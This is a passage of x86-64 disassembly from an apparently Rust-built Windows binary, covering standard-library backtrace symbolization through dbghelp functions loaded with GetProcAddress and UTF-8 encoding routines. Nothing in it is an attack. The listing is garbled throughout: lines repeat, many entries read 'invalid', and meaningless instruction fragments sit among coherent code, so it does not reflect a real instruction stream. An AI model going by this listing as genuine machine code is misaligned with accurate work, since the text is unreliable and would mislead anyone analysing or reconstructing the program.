mov rdx, r11
jmp 0x14007ea4a
mov r10d, 1
test r9, r9
je 0x14007eb64
mov r11, rsi
mov ebx, r14d
cmp r9, 1
je 0x14007ebaf
mov bl, 9
cmp r9, 2
jne 0x14007ebc0
cmp byte [r11], 0x2e
movzx ebx, bl
mov r11d, 9
cmovne ebx, r11d
add r10, r9
mov r11, rdx
sub r11, r10
jb 0x14007ed0b
test byte [rdx - 2], ah
invalid
xor edx, edx
jmp 0x14007ea47
cmp rdx, 1
jne 0x14007ea47
test dword [rcx - 2], ecx
invalid
invalid
test dword [rcx - 2], ecx
invalid
cmp r9b, 0x2e
stc
jne 0x14007ea47
jne 0x14007ea47
jne 0x14007ea47
test r11, r11
je case.0x14007e48a.25
add byte [rax], al
add byte [rax], al
dec r11
inc rsi
inc esi
mov qword [rdi], rsi
mov qword [rdi + 8], r11
mov dword [rdi + 8], ebx
mov dword [rdi + 8], ebx
mov byte [rcx], 7
jmp 0x14007ec45
test r11, r11
fisttp dword [rdi]
test al, dh
add byte [rax], al
je 0x14007ed1c
add byte [rcx - 1], cl
retf
dec r11
inc rsi
invalid
mov qword [rdi], rsi
mov dword [rdi], esi
invalid
mov qword [rdi + 8], r11
mov byte [rcx], 6
add dword [rsi], eax
pop rdi
or dh, al
add dword [rsi], eax
jmp 0x14007ec45
mov byte [rdi + 0x38], 3
cmp byte [rbx], al
mov byte [rcx], 0xa
add rsp, 0x38
pop rbx
pop rbp
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
mov byte [rdi + 0x38], 1
lea rdx, [0x1400f06cc]
adc eax, 0x71a6b
adc eax, 0x71a6b
imul ebx, dword [rdx], 7
add byte [rsi + 0x63], cl
movsxd r9, dword [rdx + r8*4]
or al, 0x82
invalid
add r9, rdx
jmp r9
jmp rcx
jmp rcx
mov r9, rax
jmp 0x14007ec9d
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], r9
adc bl, ch
leave
adc bl, ch
leave
mov byte [rcx], 6
jmp 0x14007ec45
invalid
invalid
mov r9, qword [rsp + 0x28]
jmp 0x14007ec9d
sub bl, ch
adc eax, 0x6b941
mov r9d, 6
mov r9d, 6
jmp 0x14007ec9d
mov r9, qword [rsp + 0x30]
jmp 0x14007ec9d
mov r9d, 2
cmp r9, r11
ja case.default.0x14007ecb4
invalid
lea rdx, [0x1400f06e4]
movsxd r10, dword [rdx + r8*4]
add r10, rdx
jmp r10
mov rax, qword [rsp + 0x28]
and al, 0x28
jmp case.0x14007ecb4.0
mov eax, 6
jmp case.0x14007ecb4.0
mov rax, qword [rsp + 0x30]
jmp case.0x14007ecb4.0
mov eax, 2
mov rdx, r11
sub rdx, rax
jb 0x14007ed45
add rax, rsi
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov rax, qword [rdi + 0x30]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rcx + 0x11], xmm1
movups xmmword [rcx + 1], xmm0
mov byte [rcx], r8b
mov qword [rcx + 0x28], rsi
mov qword [rcx + 0x30], r9
xor cl, ch
cmp bh, bh
invalid
invalid
xor cl, ch
cmp bh, bh
invalid
lea r8, str.library_std_srcpath.rs
mov rcx, r10
call fcn.1400a9f20
ud2
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.1400a9f20
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, r9
mov rdx, r11
invalid
invalid
call fcn.1400aa020
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, rax
mov rdx, r11
call fcn.1400a9f20
ud2
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.1400a9f20
ud2
mov rdi, rdx
mov rsi, rcx
movzx ecx, byte [rcx]
lea eax, [rcx - 6]
movzx r8d, al
lea rdx, [r8 + 1]
xor eax, eax
cmp r8b, 4
cmp al, 4
cmp al, 4
cmovae rdx, rax
movzx r8d, byte [rdi]
lea r9d, [r8 - 6]
movzx r10d, r9b
lea r11, [r10 + 1]
cmp r10b, 4
cmp dl, 4
rol byte [r15 + r9 - 0x4a], 1
invalid
cmp dl, 4
cmovae r11, rax
cmp rdx, r11
fidiv dword [rbp + 0x76]
fidiv dword [rbp + 0x76]
mov al, 1
test rdx, rdx
je 0x14007eddb
cmp edx, 4
jne 0x14007ee27
mov r8, qword [rsi + 0x10]
cmp r8, qword [rdi + 0x10]
jne case.default.0x14007edf4
pop rsi
pop rsi
mov rdx, qword [rdi + 8]
mov rcx, qword [rsi + 8]
or byte [rax - 0x75], cl
or al, r13b
or eax, 0x85000279
ror byte [rdi], 0x94
shr bl, 0x4c
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
jmp 0x14007ee27
cmp r9b, 4
jb 0x14007ee27
add al, 0x72
cmp cl, r8b
cmp cl, r8b
jne case.default.0x14007edf4
lea rax, [0x1400f06fc]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
jne case.default.0x14007edf4
mov rdx, qword [rdi + 8]
mov rcx, qword [rsi + 8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne case.default.0x14007edf4
mov r8, qword [rsi + 0x20]
cmp r8, qword [rdi + 0x20]
cmp eax, dword [rdi + 0x20]
cmp eax, dword [rdi + 0x20]
jne case.default.0x14007edf4
mov rdx, qword [rdi + 0x18]
mov rcx, qword [rsi + 0x18]
jmp 0x14007edcf
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
invalid
lea r8, str.library_std_srcpath.rs
mov rcx, r15
mov rdx, rdi
call fcn.1400aa020
ud2
mov edx, edi
call fcn.1400a9f20
ud2
cmp cl, 0xff
je 0x14007f05b
add eax, 0x75c98545
adc eax, 0x3a51b60f
test r9d, r9d
jne 0x14007f070
movzx edx, byte [rcx + 0x3a]
cmp r8b, 0xff
je 0x14007f06a
test r9d, r9d
jne 0x14007f070
invalid
invalid
test dl, dl
je 0x14007f0a3
mov dl, 1
xor r8d, r8d
xor eax, eax
test al, al
jne case.default.0x14007f097
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x41
adc byte [rax - 0x7d], cl
clc
invalid
movzx eax, byte [rcx + 0x10]
cmp rax, 6
clc
invalid
je case.default.0x14007f097
lea r9, [0x1400f0714]
movsxd rax, dword [r9 + rax*4]
invalid
add rax, r9
jmp rax
movzx r10d, byte [rcx + 0x10]
lea edx, [r10 - 5]
lea edx, [rdx - 5]
lea edx, [rdx - 5]
cmp dl, 1
ja 0x14007f108
push rdi
push rdi
mov r8, qword [rcx]
mov rdx, qword [rcx + 8]
xor r9d, r9d
test al, al
jne 0x14007f0d5
cmp r10b, 6
je 0x14007f0d5
mov r9d, 2
cmp rdx, 2
cmp edx, 2
cmp edx, 2
jb 0x14007f18e
cmp r9, rdx
je 0x14007f108
add rdx, r8
lea r10, [r8 + r9]
inc r10
cmp r10, rdx
sete dl
xchg esp, eax
ret 0xf47
mov dh, 4
or dh, dh
ret 0x7501
invalid
xchg esp, eax
ret 0xf47
cmp r8b, 0x2e
cmp al, 0x2e
jne 0x14007f16b
jno 0x14007f13c
movzx edx, byte [r10]
movzx edx, byte [rdx]
cmp edx, 0x2f
je 0x14007f17d
invalid
cmp edx, 0x5c
je 0x14007f17d
xor edx, edx
xor r8d, r8d
test al, al
je 0x14007f07b
invalid
invalid
invalid
invalid
invalid
xor eax, eax
add r8, rax
add eax, eax
movzx eax, dl
add rax, r8
add rsp, 0x28
ret
ret 0x14c
cmove r9, rcx
add rax, r9
add rax, 8
add eax, 8
jmp 0x14007f117
cmp r8b, 0x2e
setne r8b
not dl
or dl, r8b
test dl, 1
jne 0x14007f108
mov r8d, 1
xor edx, edx
test al, al
jne case.default.0x14007f097
jmp 0x14007f07b
lea r8, str.library_std_srcpath.rs
mov ecx, 2
call fcn.1400a9f20
ud2
test al, 0
add byte [rax], al
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
lea rax, str.encode_utf8:_need__bytes_to_encode_U__but_the_buffer_has
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 3
and al, 0x78
add eax, dword [rax]
add byte [rax], al
and al, 0x78
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x88], 3
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccharmethods.rsx
lea rcx, [rsp + 0x70]
call fcn.1400a9ee0
ud2
xor ecx, ecx
cmp ebp, 1
add dword [rdi], ecx
test dl, cl
add byte [rax], al
invalid
add dword [rdi], ecx
test dl, cl
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x79868
mov rax, qword [0x1400f9268]
test rax, rax
jne 0x14007fa29
mov rcx, qword [0x1400f9238]
lea rdx, str.SymAddrIncludeInlineTrace
call qword [sym.imp.kernel32.dll_GetProcAddress]
adc eax, 0x308ff
adc eax, 0x308ff
test rax, rax
je case.0x140068b4c.993
mov qword [0x1400f9268], rax
invalid
mov rcx, rsi
mov rdx, rdi
call rax
mov dword [rsp + 0xc0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test eax, eax
je 0x14007ffee
mov ebp, eax
mov rax, qword [0x1400f9270]
mov eax, dword [0x1400f9270]
mov eax, dword [0x1400f9270]
test rax, rax
jne 0x14007fa76
mov rcx, qword [0x1400f9238]
mov ecx, dword [0x1400f9238]
lea rdx, str.SymQueryInlineTrace
call qword [sym.imp.kernel32.dll_GetProcAddress]
add eax, dword [rax]
add eax, dword [rax]
test rax, rax
je case.0x140068b4c.993
mov qword [0x1400f9270], rax
add bh, al
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rcx*8], fs
mov dword [rsp + 0x1c8], 0
lea rcx, [rsp + 0x1c8]
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rdi
xor ebx, ebx
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
mov r9, rdi
call rax
mov ecx, 0
cmp eax, 1
jne 0x14007fac3
invalid
or dword [rbx + 0xc0249c], ecx
add byte [rax], al
mov ebx, dword [rsp + 0xc0]
mov ecx, ebp
lea ebp, [rcx + rbx]
inc ebp
cmp ebx, ebp
jae case.0x14002f576.1099
lea r14, [rsp + 0x1cc]
lea r15, [rsp + 0x1c8]
and al, 0xc8
add dword [rax], eax
add byte [rbp + rcx*4 - 0x54], cl
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
push rdi
test byte [rbp + rcx*4 + 0x64], 0x24
lea esp, [rsp + 0x48]
and al, 0xc8
add dword [rax], eax
add byte [rbp + rcx*4 - 0x54], cl
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
push rdi
test byte [rbp + rcx*4 + 0x64], 0x24
lea esp, [rsp + 0x48]
mov dword [rsp + 0x38], ebp
lea esp, [rsp + 0x48]
mov dword [rsp + 0x38], ebp
jmp 0x14007fb6e
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax], ah
add al, byte [rax]
add byte [rcx + rcx*4 + 0x74], cl
mov dword [rsp + 0x48], esi
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x48], r14
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
mov dword [rsp + 0x60], r9d
and al, 0x60
and al, 0x60
mov dword [rsp + 0x64], ecx
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x68], rcx
and al, 0x68
and al, 0x68
mov qword [rsp + 0x70], r13
mov r13, rcx
mov qword [rsp + 0x78], rax
and al, 0x78
and al, 0x78
mov rcx, qword [rsp + 0x1240]
mov rdx, r12
mov word [rax + rax*2], fs
adc al, byte [rax]
add byte [rcx + rcx*4 - 0x1e], cl
mov rax, qword [rsp + 0x1248]
call qword [rax + 0x20]
mov ebp, dword [rsp + 0x38]
lea r14, [rsp + 0x1cc]
lea r15, [rsp + 0x1c8]
mov esp, 0x1c824
invalid
mov esp, 0x1c824
add bh, bh
ret
inc ebx
cmp ebx, ebp
je case.0x14002f576.1099
xchg ecx, eax
add al, 0
invalid
xchg ecx, eax
add al, 0
add byte [rcx - 0x48], al
invalid
hlt
mov r8d, 0xff4
mov eax, 0xff4
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x218], 0x7d0
and al, 0x18
add al, byte [rax]
add al, dl
invalid
add byte [rax], al
and al, 0x18
add al, byte [rax]
add al, dl
invalid
add byte [rax], al
mov dword [rsp + 0x1c8], 0x58
mov rax, qword [0x1400f9258]
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x796bd
test rax, rax
jne case.0x1400283bc.1318
mov rcx, qword [0x1400f9238]
or eax, 0x79691
xchg esi, eax
invalid
lea rdx, str.SymFromInlineContextW
call qword [sym.imp.kernel32.dll_GetProcAddress]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
mov qword [0x1400f9258], rax
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0x20], r15
mov rcx, rsi
mov rdx, rdi
mov r8d, ebx
mov r9, r13
call rax
cmp eax, 1
jne 0x14007fb64
invalid
mov r15, r12
mov eax, dword [rsp + 0x214]
mov ecx, dword [rsp + 0x218]
mov word [rax + rbx], fs
add al, byte [rax]
invalid
out 0x8b, eax
test byte [rsp + rdx], ah
add al, byte [rax]
add byte [rbx + 0x218248c], cl
mov word [rax + rbx], fs
add al, byte [rax]
invalid
mov word [rax + rbx], fs
add al, byte [rax]
add byte [rax - 1], cl
dec rcx
leave
cmp rax, rcx
cmovb rcx, rax
enter 0x290f, 0xffffffffffffffb4
and al, 0xb0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1a0], esi
enter 0x290f, 0xffffffffffffffb4
and al, 0xb0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1a0], esi
movabs al, byte [0x9024b4290f000001]
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x180], esi
mov ah, 0x24
add byte [rcx], 0
invalid
movaps xmmword [rsp + 0x190], xmm6
movaps xmmword [rsp + 0x180], xmm6
mov ah, 0x24
add byte [rcx], 0
invalid
mov ah, 0x24
add byte [rcx], 0
add byte [rdi], cl
sub dword [rsp + 0x170], esi
movaps xmmword [rsp + 0x170], xmm6
movaps xmmword [rsp + 0x160], xmm6
movaps xmmword [rsp + 0x150], xmm6
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x60
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x150], esi
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x50
add dword [rax], eax
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x140], esi
add dword [rax], eax
invalid
movaps xmmword [rsp + 0x140], xmm6
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x130], esi
xor byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x130], xmm6
xor byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x100], xmm6
sub dword [rsp + 0x100], esi
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
mov ah, 0x24
loopne case.0x1400283bc.1330
add byte [rax], al
mov ah, 0x24
loopne case.0x1400283bc.1330
add byte [rax], al
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
and al, 0xc0
add byte [rax], al
add byte [rbp + rcx*4 - 0x74], cl
and al, 0x1c
add al, byte [rax]
add byte [rcx - 0x73], cl
add al, 0x49
and al, 0xc0
add byte [rax], al
add byte [rbp + rcx*4 - 0x74], cl
and al, 0x1c
add al, byte [rax]
add byte [rcx - 0x73], cl
add al, 0x49
mov r14d, 0x100
xor r11d, r11d
mov r8, r13
xor r13d, r13d
test r11w, r11w
test ebx, ebx
test ebx, ebx
je 0x14007fcc0
nop dword [rax + rax]
mov edx, r10d
jmp 0x14007fcd1
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp r9, rax
cmp ecx, eax
je case.0x140032218.1065
add al, byte [rax]
add byte [rcx + 0xf], al
mov bh, 0x11
movzx edx, word [r9]
add r9, 2
mov ecx, edx
rol dword [rcx + 0xf800e1], 1
add byte [rdi + rcx - 0x49], al
fiadd dword [rcx + 0xd800f9]
add byte [rbp + 0x1b], dh
jne 0x14007fd00
and ecx, 0xf800
add byte [rax], al
movzx r11d, dx
cmp ecx, 0xd800
jne 0x14007fd00
mov ecx, 0xfffd
add byte [rax], al
cmp r11d, 0xdbff
jbe 0x14007fd30
invalid
add byte [rsi + 0x3d], dh
xor r11d, r11d
xor ebx, ebx
jmp 0x14007fde0
add byte [rax], al
nop dword [rax + rax]
shl r11, 0x10
mov rcx, r11
mov ecx, ebx
mov ecx, ebx
shr rcx, 0x10
cmp ecx, 0x80
add byte [rax], al
jae 0x14007fda0
add byte [rcx - 0x44], al
add dword [rax], eax
add byte [rax], al
mov r12d, 1
xor r11d, r11d
jmp 0x14007fde6
nop dword cs:[rax + rax]
cmp r9, rax
je 0x14007fd60
movzx r12d, word [r9]
add r9, 2
mov r11d, r12d
and dword [rcx - 0x7d], ecx
rol dword [rdx], 0x45
mov ebx, esp
add r11d, 0x2000
add byte [rax], al
movzx ebp, r11w
mov bh, 0xeb
mov r11w, 1
cmp ebp, 0xfc00
add byte [rbx + 0x10], dh
add byte [rbx + 0x10], dh
mov r10d, r12d
jmp 0x14007fde0
loop 0x14007fd45
add byte [rax], 0
add byte [rbp + 0x31], al
fisttp dword [rcx - 0x77]
shr ebx, 0x78
jmp 0x14007fde0
xor r11d, r11d
mov r9, rax
jmp 0x14007fde0
movzx ecx, r12w
and edx, 0x3ff
and ecx, 0x3ff
add byte [rax - 0x3f], cl
loop 0x14007fd96
int3
add byte [rax - 0x3f], cl
loop 0x14007fd96
shl rcx, 0x10
or rcx, rdx
movabs rdx, 0x100000000
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax + 1], cl
add rcx, rdx
shr rcx, 0x10
invalid
stc
invalid
add rcx, rdx
shr rcx, 0x10
cmp ecx, 0x80
add byte [rdi], cl
invalid
ja 0x14007fd9d
invalid
invalid
add byte [rax], 0
add byte [rdi], cl
invalid
invalid
cmp ecx, 0x800
jae case.0x1400270ad.1191
mov r12d, 2
add al, byte [rax]
add byte [rax], al
xor r11d, r11d
xor ebx, ebx
jmp 0x14007fde6
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x44], al
invalid
invalid
mov r12d, 4
add al, 0
add byte [rax], al
xor r11d, r11d
cmp ecx, 0xffff
inc dword [rax]
add byte [rdi + 0x15], dh
inc dword [rax]
add byte [rdi + 0x15], dh
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x44], al
mov r12d, 3
add eax, dword [rax]
add byte [rax], al
mov rdx, r14
sub rdx, r12
invalid
loop case.0x14002f576.1067
jbe case.0x140032218.1065
xchg byte [rsi], bl
add dword [rax], eax
add byte [rcx - 0x7ec3dbb4], cl
and al, 0x3c
invalid
stc
add byte [rax], 0
add byte [rax], al
invalid
mov dword [rsp + 0x3c], ecx
and al, 0x3c
cmp ecx, 0x80
add byte [rbx + 0x12], dh
jae case.0x14002739f.1171
mov byte [r8], cl
mov byte [rax], cl
mov ecx, 1
jmp 0x14007fee0
invalid
add byte [rax], r8b
add byte [rcx + 0x800f9], al
add byte [rbx + 0x28], dh
cmp ecx, 0x800
jae case.0x14002f576.1071
mov ebp, ecx
shr ebp, 6
in eax, dx
invalid
or bpl, 0xc0
or ch, 0xc0
mov byte [r8], bpl
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 1], cl
mov byte [rax + 1], cl
mov byte [rax + 1], cl
mov ecx, 2
add al, byte [rax]
add byte [rax], al
invalid
add cl, ch
test al, 0
add byte [rax], al
jmp 0x14007fee0
nop dword [rax + rax]
invalid
cmp ecx, 0x10000
jae case.0x14002739f.1179
invalid
add byte [rcx], al
add byte [rbx + 0x41], dh
invalid
mov qword [rsp + 0x40], 3
mov qword [rsp + 0x40], 3
and al, 0x40
add eax, dword [rax]
add byte [rax], al
cmp r14, 2
jbe 0x14008002c
add dword [rax], eax
add byte [rcx + 0xcedc1cd], cl
mov ebp, ecx
shr ebp, 0xc
invalid
or al, 0x40
or ch, 0xe0
int 0xe0
or bpl, 0xe0
int 0xe0
loopne 0x14007fea6
mov byte [r8], bpl
mov byte [rax], ch
mov ebp, ecx
shr ebp, 6
invalid
and bpl, 0x3f
and ch, 0x3f
int 0xc1
in eax, dx
invalid
and ch, 0x3f
or bpl, 0x80
or ch, 0x80
add byte [rcx - 0x78], 0x68
add dword [rax - 0x367fc01f], eax
invalid
leave
mov byte [r8 + 1], bpl
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 2], cl
mov ecx, 3
add byte [rax], al
invalid
add byte [rcx - 0x78], 0x48
add bh, byte [rcx + 3]
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
push rdi
jmp 0x14007fee0
mov qword [rsp + 0x40], 4
cmp r14, 3
jbe 0x14008002c
invalid
nop
add dword [rax], eax
invalid
add ecx, dword [rdi]
xchg byte [rax - 0x76ffffff], dl
int 0xc1
shr ebp, 0x12
or bpl, 0xf0
mov ebp, ecx
shr ebp, 0x12
or bpl, 0xf0
mov byte [r8], bpl
mov byte [rax], ch
mov ebp, ecx
shr ebp, 0xc
and bpl, 0x3f
in eax, 0x3f
or bpl, 0x80
or ch, 0x80
int 0x80
mov byte [r8 + 1], bpl
mov ebp, ecx
shr ebp, 6
and bpl, 0x3f
in eax, 0x3f
invalid
or bpl, 0x80
or ch, 0x80
mov byte [r8 + 2], bpl
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 3], cl
mov byte [rax + 3], cl
mov ecx, 4
nop dword [rax]
add byte [rax], al
invalid
cmp rcx, r14
ja 0x14008001b
xor al, byte [rcx]
add byte [rax], al
add r8, r12
add r13, r12
in eax, 0x49
mov esi, edx
test r11w, r11w
jne case.0x14002739f.1150
jmp 0x14007fcc0
std
invalid
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
cmp r13, 0x101
add dword [rcx], eax
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
jae 0x1400800dd
add eax, 1
add byte [rax], al
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x90], xmm6
nop
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rsp + 0x90], esi
nop
add byte [rax], al
invalid
nop
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
mov dword [rsp + 0x80], 0x28
mov rax, qword [0x1400f9260]
add eax, 0x79315
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], ch
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x79315
test rax, rax
mov r12, r15
jne 0x14007ff77
mov rcx, qword [0x1400f9238]
xchg edx, eax
invalid
lea rdx, str.SymGetLineFromInlineContextW
adc eax, 0x6af54
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov cl, 3
add eax, dword [rax]
test rax, rax
je case.0x140068b4c.993
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
add eax, 0x792e9
xchg edx, eax
invalid
invalid
mov qword [0x1400f9260], rax
xchg edx, eax
invalid
mov dword [rsp + 0x48], 0
add byte [rax - 0x73], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x80]
add byte [rax], al
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r12
and al, 0x20
xor r14d, r14d
mov rcx, rsi
int1
int1
mov rdx, rdi
mov r8d, ebx
xor r9d, r9d
call rax
mov r9d, 0
invalid
cmp eax, 1
clc
invalid
add byte [rbx - 0x7af0fe08], al
sti
jne 0x14007fb00
invalid
mov ecx, dword [rsp + 0x90]
mov r8, 0xffffffffffffffff
mov eax, 0xffffffff
mov rdx, qword [rsp + 0x98]
nop word [rax + rax]
invalid
cmp word [rdx + r8*2 + 2], 0
add al, byte [rax]
lea r8, [r8 + 1]
add dword [rbp - 0xd], esi
jne 0x14007ffd0
mov r9d, 1
mov r14d, 1
jmp 0x14007fb00
sti
invalid
xor ebx, ebx
xor ecx, ecx
leave
leave
lea ebp, [rcx + rbx]
inc ebp
cmp ebx, ebp
jb 0x14007fad0
cli
invalid
invalid
cli
invalid
movaps xmm6, xmmword [rsp + 0x11c0]
add rsp, 0x11d8
add byte [rbx + 0x5d], bl
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccharmethods.rsx
mov rdx, r14
call fcn.1400aa020
ud2
mov qword [rsp + 0xb8], r14
lea rax, [rsp + 0x40]
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
and al, 0x48
lea rax, [fcn.140041690]
mov qword [rsp + 0x50], rax
push rax
lea rcx, [rsp + 0x3c]
and al, 0x3c
mov qword [rsp + 0x58], rcx
lea rcx, [0x140049c20]
mov qword [rsp + 0x60], rcx
and al, 0x60
and al, 0x60
and al, 0x60
lea rcx, [rsp + 0xb8]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x70], eax
lea rax, str.encode_utf8:_need__bytes_to_encode_U__but_the_buffer_has
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
and al, 0xa0
mov qword [rsp + 0x88], 3
mov qword [rsp + 0xa0], 0
and al, 0xa0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x90
add byte [rax], al
invalid
and al, 0xa0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x90
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x98], 3
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccharmethods.rsx
mov qword [rsp + 0x98], 3
mov dword [rsp + 0x98], 3
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccharmethods.rsx
invalid
lea rcx, [rsp + 0x80]
call fcn.1400a9ee0
sahf
add al, byte [rax]
sahf
add al, byte [rax]
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
mov edx, 0x2b
add byte [rax], al
add byte [rax], al
call fcn.1400aa0a0
ud2
lea r8, str.library_std_src...._backtrace_src_symbolizedbghelp.rs
mov edx, 0x100
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
call fcn.1400aa020
ud2
int3
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add al, 0
add dh, bh
invalid
invalid
dec dword [rax - 0x77]
invalid
lea rcx, [rbp - 0x58]
call fcn.14007bfb0
dec dword [rax - 0x75]
test al, 0x48
mov dword [rbp + 0x410], eax
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add al, 0
add dh, bh
invalid
dec dword [rax - 0x75]
test al, 0x48
mov dword [rbp + 0x410], eax
test rax, rax
je 0x140080287
ror byte [rdi], 0x84
add dword [r8], eax
add byte [rax - 0x77], cl
mov ch, 0xc8
add eax, dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp - 0x50]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x3c8], rsi
mov rax, qword [rbp - 0x50]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x3f0], 2
mov dword [rbp + 0x3f0], 2
lock add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test eax, edi
clc
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f8], xmm0
clc
add eax, dword [rax]
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
clc
add eax, dword [rax]
